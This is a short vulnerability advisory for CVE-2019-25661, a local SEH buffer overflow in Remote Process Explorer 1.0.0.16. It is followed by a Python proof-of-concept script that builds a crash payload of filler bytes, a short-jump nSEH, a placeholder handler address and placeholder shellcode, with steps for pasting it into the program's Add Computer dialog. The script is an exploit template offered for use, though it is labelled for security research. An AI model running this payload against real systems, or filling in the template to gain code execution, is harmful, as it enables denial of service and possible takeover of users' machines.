CVE-2019-25661

Description

Remote Process Explorer 1.0.0.16 contains a local buffer overflow vulnerability that allows attackers to cause a denial of service by sending a crafted payload to the Add Computer dialog. Attackers can paste a malicious string into the computer name textbox and trigger a crash by connecting to the added computer, overwriting the SEH chain and corrupting exception handlers.

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2019-25661
# This script generates a malicious payload to trigger the buffer overflow.
# Usage: Run the script, copy the output, and paste it into the 'Computer Name' field in Remote Process Explorer 'Add Computer' dialog.

import sys

def generate_payload():
    # Pattern to crash and potentially overwrite SEH
    # Adjust offsets based on specific debugging if available
    # Junk filler
    junk = b'A' * 1000
    # SEH overwrite attempt (typical structure)
    # nseh (next seh) usually a short jump like '\xeb\x06\x90\x90'
    nseh = b'\xeb\x06\x90\x90'
    # seh (handler) address (pop pop ret)
    seh = b'\xdd\xdd\xdd\xdd' 
    # Shellcode placeholder
    shellcode = b'C' * 500
    
    payload = junk + nseh + seh + shellcode
    return payload

if __name__ == "__main__":
    buf = generate_payload()
    print(f"[+] Generated Payload Length: {len(buf)}")
    print(f"[+] Payload: {buf.decode('latin-1')}")
